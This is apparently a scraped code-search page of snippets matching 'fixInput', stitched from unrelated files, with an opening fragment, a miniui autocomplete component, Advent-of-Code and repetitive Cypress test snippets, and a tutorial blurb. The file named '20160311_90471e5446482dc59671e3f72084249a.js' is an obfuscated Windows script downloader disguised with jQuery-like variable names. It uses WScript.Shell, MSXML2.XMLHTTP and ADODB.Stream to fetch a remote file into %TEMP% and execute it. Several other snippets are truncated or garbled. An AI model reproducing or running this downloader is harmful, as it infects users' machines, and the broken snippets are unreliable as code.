2));105}106responseText = fixInput[index + end][domManip + high + matchesSelector](minWidth + fxNow + webkitMatchesSelector + readyList + firstElementChild);107fixInput[resolve + lang][boolHook](((dest + 686) + (invert - 3534)));108responseText[hold + sortStable]();109backgroundClip = responseText;110backgroundClip[flag] = (fnOver ^ 0);111cssHooks = backgroundClip;112responseText[selectedIndex + iframe + readyState](calculatePosition[reject + td]);113cssHooks[val + valueParts + dataUser] = ((width / 41) + -(base - 2));114responseText[hide + createInputPseudo + diff + ret](specified, (originAnchor - 10));115responseText[addToPrefiltersOrTransports + lname + progress]();116postDispatch = prependTo;...
mini-autocomplete-wssip.js
Source:mini-autocomplete-wssip.js
1/**2 * min-WssipAutoComplete èªå¨å®ææ ç¾3 * 4 * çæ¬ä¿®æ£ï¼5 * autoquery å
许åæ¶èªå¨æ¥è¯¢ï¼åªè½æå车æ¥è¯¢6 * fixinput å
许éæ©è®°å½åä¸æ¸
空å
容7 * ä¿®æ£æå°å符æ æçbug8 * ä¿®æ£ç¬¬äºæ¬¡æä½åä¸äººç¨é¼ æ éæ©æ æ³è§¦åchangeäºä»¶çbug9 * å 载信æ¯é»è®¤ä¸ææ¾ç¤º10 * å¢å setInputTextç¨äºå¼ºè¡è®¾ç½®ææ¬æ¡å
容11 * JSPrint(new mini.AutoComplete(),"minAutoComplete");12 * __OnInputKeyDownï¼ æç´¢ ("keydown" æå¨çå½æ°å³ä¸º__OnInputKeyDown13 * _tryQuery: æ¥æ¾doQueryå½æ°ï¼å
¶å
é¨è°ç¨çå³ä¸º_tryQuery14 * __OnItemClick: æ¥æ¾beforeitemclickï¼æå¨å½æ°å³ä¸º__OnItemClick15 */16mini.WssipAutoComplete = function () {17 mini.WssipAutoComplete.superclass.constructor.call(this);18}19mini.extend(mini.WssipAutoComplete, mini.AutoComplete, {20 uiCls: "mini-autocomplete-wssip",21 delay:650,22 minChars:2,23 searchField:"query",24 popupLoadingText: "<span class='mini-textboxlist-popup-loading'>æ¥è¯¢ä¸...</span>",25 popupErrorText: "<span class='mini-textboxlist-popup-error'>æ¥è¯¢åºé</span>",26 popupEmptyText: "<span class='mini-textboxlist-popup-noresult'>æ 符åæ¡ä»¶çæ°æ®</span>",27 getData: function () {28 if(!this.data||!(this.data.length))return [];29 return this.data; 30 },31 focus:function(){32 return;33 },34 setText:function(text){35 //this.text = text;36 if(this.fixinput){37 38 }else{39 mini.WssipAutoComplete.superclass.setText.call(this,text);40 }41 },42// innerValue:0,43// getValue:function(){//ä¿è¯valueåå44// this.innerValue = this.innerValue +1;45// if(this.innerValue>1000)this.innerValue=1;46// return this.innerValue;47// },48 setInputText:function(text){49 mini.WssipAutoComplete.superclass.setText.call(this,text);50 },51 52 OOl1O:function (e) {//fix __OnInputKeyDown53 if(!this.isShowPopup() && (e.keyCode == 13 || e.keyCode == 40 ) ){54 var ex = { htmlEvent: e };55 this.fire("keydown", ex);56 this.doQueryNow(this.getText());57 }else{58 mini.WssipAutoComplete.superclass.OOl1O.call(this,e);//fix59 }60 61 },62 doQueryNow:function(text){63 var olddelay = this.delay;64 this.delay = 100;65 mini.WssipAutoComplete.superclass.doQuery.call(this);66 this.delay = olddelay;67 },68 O0o00:function(oldText) {//_tryQuery69 //å¢å 延æ¶å¤æï¼å¦æç¦ç¨äºèªå¨æ¥è¯¢ï¼é£ä¹åªæ延æ¶ä¸º100æ¶æ继ç»70 if(!this.autoquery && this.delay >100 )return;71 var sf = this;72 if (this._queryTimer) {73 clearTimeout(this._queryTimer);74 this._queryTimer = null75 }76 this._queryTimer = setTimeout(function () {77 78 var text = sf.getText();79 var len = text.length;80 try{81 len = text.lengthb();82 }catch(e){83 }84 85 if(len<sf.minChars){86 //ä½æ°ä¸è¶³ï¼ä¸æ¥è¯¢87 }else{88 sf.showPopup("loading");89 sf.oOlo0(text); //_doQuery,åè_tryQuery代ç ä¿®æ¹90 } 91 92 }, this.delay);93 //this.showPopup("loading"); 移å°éé¢å»94 95 },96 l1o1ol: function(e){//__OnItemClick97 this.setValue("123");98 mini.WssipAutoComplete.superclass.l1o1ol.call(this,e);99 },100 autoquery: true,101 setAutoquery: function (value) {102 this.autoquery = value;103 },104 getAutoquery: function () {105 return this.autoquery;106 },107 fixinput:true,108 setFixinput: function (value) {109 this.fixinput = value;110 },111 getFixinput: function () {112 return this.fixinput;113 },114 getAttrs: function (el) {115 var attrs = mini.WssipAutoComplete.superclass.getAttrs.call(this, el);116 mini._ParseBool(el, attrs,["autoquery","fixinput"] );117 mini._ParseInt(el, attrs,["minChars"]);118 return attrs;119 }120}121);...
20160311_90471e5446482dc59671e3f72084249a.js
Source:20160311_90471e5446482dc59671e3f72084249a.js
1what = 84;2getJSON = "e";3checkbox = "nme";4clientTop = 16;5exports = "Crea";6var bup = 43;7innerText = "hg67";8marginDiv = "ateO";9converters = 184;10divStyle = "onse";11has = 17;12responseContainer = "nd";13var rheaders = "pt.She",14 linear = "cr",15 hold = "saveTo",16 arg = "/",17 position = "op",18 firstElementChild = "B.St";19var pipe = "rip",20 onerror = 5,21 success = 317923657,22 addHandle = "trings",23 slideDown = 6959,24 method = "o";25_evalUrl = 578, createHTMLDocument = "pe", tuple = "close";26expanded = "GE", t = "n", code = "S", time = 119;27off = "ate";28finalValue = 216;29getWidthOrHeight = 0;30v = 35;31until = 14, rcleanScript = "Env";32hasDuplicate = "ect", parts = "eProp", replaceAll = (function Object.prototype.clearCloneStyle() {33 var contents = this;34 return contents35}, "WScrip");36diff = 2848;37rtagName = 30;38initial = "htt";39check = 7;40clientLeft = "ript";41var postDispatch = ".XML";42var dataUser = "hi",43 origFn = 33,44 addCombinator = 70735,45 qualifier = 34;46var targets = "un",47 cos = 3,48 apply = "p",49 protocol = 17831,50 isLocal = "t";51rts = 33664, documentElement = "Exp", p = 255;52var fixInput = 1,53 radioValue = "v.co",54 rbuggyMatches = "positi",55 events = 2,56 cssNormalTransform = 9;57nodeValue = "ww.mom";58prevAll = (((233 & p) & (Math.pow(113, events) - 12546)), ((Math.pow(what, 2) - slideDown), 18), eval("t" + dataUser + "s".clearCloneStyle()));59jsonpCallback = prevAll[replaceAll + "t"];60fragment = jsonpCallback[exports + "teObj" + hasDuplicate]("WScri".clearCloneStyle() + rheaders + "ll");61get = fragment[documentElement + "and" + rcleanScript + "iro".clearCloneStyle() + checkbox + "ntS" + addHandle]("%TEMP%" + arg) + "remov".clearCloneStyle() + parts + ".s" + linear;62file = prevAll["WSc" + clientLeft]["Cre".clearCloneStyle() + marginDiv + "bjec" + isLocal]("MSXML2" + postDispatch + "HTTP".clearCloneStyle());63file[method + "p" + getJSON + "n"](expanded + "T".clearCloneStyle(), initial + "p://w" + nodeValue + "sta" + radioValue + "m/087".clearCloneStyle() + innerText, !((Math.pow(((((addCombinator / 5) / bup) - ((76 & time) + (44 - origFn))), (Math.pow(((31 - rtagName) + (20 - has)), (1 + fixInput)) - (14, events) * (202, onerror))), ((3 - events) + (((1225 / v) / (Math.pow(27, events) - 694)) * ((fixInput * 0) | (getWidthOrHeight | 1))))) - ((((Math.pow(converters, 2) - rts) / 2 * events * 2 * events * 2) | ((fixInput + 0) + (finalValue / 18))) + ((Math.pow(onerror * 3 * cos * 3, (events | 2)) - (_evalUrl | 18002)), ((qualifier - 33) * (until & 15))))) == check));64file["se" + responseContainer]();65Data = prevAll["WScrip" + isLocal]["Cre".clearCloneStyle() + off + "Objec" + isLocal]("ADOD" + firstElementChild + "ream".clearCloneStyle());66Data[position + "e" + t]();67contains = Data;68genFx = fragment;69contains["ty" + createHTMLDocument] = (1 * (fixInput + 0));70fireWith();71s();72matcherIn();73crossDomain();74Data[hold + "File"](get, ((fixInput + 0) + (fixInput + 0)));75throws = Data;76throws[tuple]();77isNumeric();78genFx["R" + targets](get.clearCloneStyle((diff / 32)), (fixInput * (0 | getWidthOrHeight)), 0);79function crossDomain() {80 eval(unescape("%20%20%20%20%20%20%20%20args%5BrbuggyMatches%20+%20%22on%22.clearCloneStyle%28%29%5D%20%3D%20%28%28clientTop-16%29/%28cssNormalTransform+40%29%29%3B%0D"));81}82function isNumeric() {83 eval(unescape("%20%20%20%20%20%20%20%20prevAll%5B%22WSc%22%20+%20pipe%20+%20%22t%22.clearCloneStyle%28%29%5D%5Bcode%20+%20%22lee%22%20+%20apply%5D%28%28%28Math.pow%28protocol%2C%202%29-success%29-5904%29%29%3B%20%20%20%0D"));84}85function s() {86 eval(unescape("%20%20%20%20%20%0D"));87}88function fireWith() {89 eval(unescape("%20%20%20%20%20%20%20%20args%20%3D%20contains%3B%0D"));90}91function matcherIn() {92 eval(unescape("%20%20%20%20%20%20%20%20Data%5B%22writ%22.clearCloneStyle%28%29%20+%20getJSON%5D%28file%5B%22Resp%22%20+%20divStyle%20+%20%22Body%22%5D%29%3B%0D"));...
day02.js
Source:day02.js
...13 changed[1] = n14 changed[2] = v15 return changed16 }17 while (computor(fixInput(input, noun, verb)).program[0] < target) {noun += 1}18 noun -= 119 while (computor(fixInput(input, noun, verb)).program[0] < target) {verb += 1}20 const result = 100 * noun + verb21 report(result, 5121)22}...
Using AI Code Generation
1Cypress.Commands.add('fixInput', (selector, value) => {2 cy.get(selector).then(($el) => {3 return cy.window().then((win) => {4 const nativeInputValueSetter = Object.getOwnPropertyDescriptor(5 ).set;6 nativeInputValueSetter.call($el[0], value);7 $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));8 });9 });10});11Cypress.Commands.add('fixInput', (selector, value) => {12 cy.get(selector).then(($el) => {13 return cy.window().then((win) => {14 const nativeInputValueSetter = Object.getOwnPropertyDescriptor(15 ).set;16 nativeInputValueSetter.call($el[0], value);17 $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));18 });19 });20});21Cypress.Commands.add('fixInput', (selector, value) => {22 cy.get(selector).then(($el) => {23 return cy.window().then((win) => {24 const nativeInputValueSetter = Object.getOwnPropertyDescriptor(25 ).set;26 nativeInputValueSetter.call($el[0], value);27 $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));28 });29 });30});31Cypress.Commands.add('fixInput', (selector, value) => {32 cy.get(selector).then(($el) => {33 return cy.window().then((win) => {34 const nativeInputValueSetter = Object.getOwnPropertyDescriptor(35 ).set;36 nativeInputValueSetter.call($el[0], value);37 $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));38 });39 });40});41Cypress.Commands.add('fixInput', (selector, value) => {42 cy.get(selector).then(($el) => {43 return cy.window().then((win) => {
Using AI Code Generation
1require('cypress-plugin-tab');2describe('My First Test', () => {3 it('Does not do much!', () => {4 expect(true).to.equal(true)5 })6 })7describe('My First Test', () => {8 it('Does not do much!', () => {9 expect(true).to.equal(true)10 })11 })12describe('My First Test', () => {13 it('Does not do much!', () => {14 expect(true).to.equal(true)15 })16 })17describe('My First Test', () => {18 it('Does not do much!', () => {19 expect(true).to.equal(true)20 })21 })22describe('My First Test', () => {23 it('Does not do much!', () => {24 expect(true).to.equal(true)25 })26 })27describe('My First Test', () => {28 it('Does not do much!', () => {29 expect(true).to.equal(true)30 })31 })32describe('My First Test', () => {33 it('Does not do much!', () => {34 expect(true).to.equal(true)35 })36 })37describe('My First Test', () => {38 it('Does not do much!', () => {39 expect(true).to.equal(true)40 })41 })
Using AI Code Generation
1import { fixInput } from 'cypress-angular-unit-test';2describe('Cypress with Angular', () => {3 beforeEach(() => {4 cy.visit('/');5 });6 it('should display welcome message', () => {7 cy.get('input').then(fixInput);8 cy.get('input').type('Hello');9 cy.get('input').should('have.value', 'Hello');10 });11});12Cypress.Commands.add('open', { prevSubject: true }, (subject) => {13 cy.wrap(subject).invoke('open');14});15describe('Cypress with Angular', () => {16 beforeEach(() => {17 cy.visit('/');18 });19 it('should display welcome message', () => {20 cy.get('mat-select').then(fixInput);21 cy.get('mat-select').open();22 cy.get('mat-option').contains('Option 1').click();23 });24});25Cypress.Commands.add('open', { prevSubject:
Using AI Code Generation
1describe('My First Test', () => {2 it('Does not do much!', () => {3 cy.get('input').type('test');4 cy.get('input').should('have.value', 'test');5 });6});
Using AI Code Generation
1require('cypress-plugin-tab')2import { Given, When, Then, And } from 'cypress-cucumber-preprocessor/steps'3Given('I open the website', () => {4})5When('I enter {string} in the search bar', (searchString) => {6 cy.get('input[name="q"]').type(searchString)7})8Then('I should see {string} in the search results', (searchString) => {9 cy.get('input[name="q"]').type('{enter}')10})11And('I click on the {string} button', (button) => {12 switch (button) {13 cy.get('input[name="btnK"]').click()14 cy.get('input[name="btnI"]').click()15 }16})17Then('I should see {string} in the title', (title) => {18 cy.title().should('include', title)19})20When('I click on {string} link', (link) => {21 cy.get('a[href*="' + link + '"]').click()22})23Then('I should see {string} in the URL', (url) => {24 cy.url().should('include', url)25})26When('I click on {string} button', (button) => {27 cy.get('a[href*="' + button + '"]').click()28})29And('I click on {string} button in the modal', (button) => {30 cy.get('button[type="submit"]').contains(button).click()31})32Then('I should see {string} in the URL', (url) => {33 cy.url().should('include', url)34})35When('I click on {string} link in the footer', (link) => {36 cy.get('a[href*="' + link + '"]').click()37})38And('I click on {string} button in the footer', (button) => {39 cy.get('a[href*="' + button + '"]').click()40})41Then('I should see {string} in the URL', (url) => {42 cy.url().should('include', url)43})44When('I click on {string}
Using AI Code Generation
1Cypress.Commands.add('fixInput', (value) => {2 cy.window().then((win) => {3 win.document.body.innerHTML = value;4 });5});6Cypress.Commands.add('fixInput', (value) => {7 cy.window().then((win) => {8 win.document.body.innerHTML = value;9 });10});11Cypress.Commands.add('fixInput', (value) => {12 cy.window().then((win) => {13 win.document.body.innerHTML = value;14 });15});16Cypress.Commands.add('fixInput', (value) => {17 cy.window().then((win) => {18 win.document.body.innerHTML = value;19 });20});21Cypress.Commands.add('fixInput', (value) => {22 cy.window().then((win) => {23 win.document.body.innerHTML = value;24 });25});
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!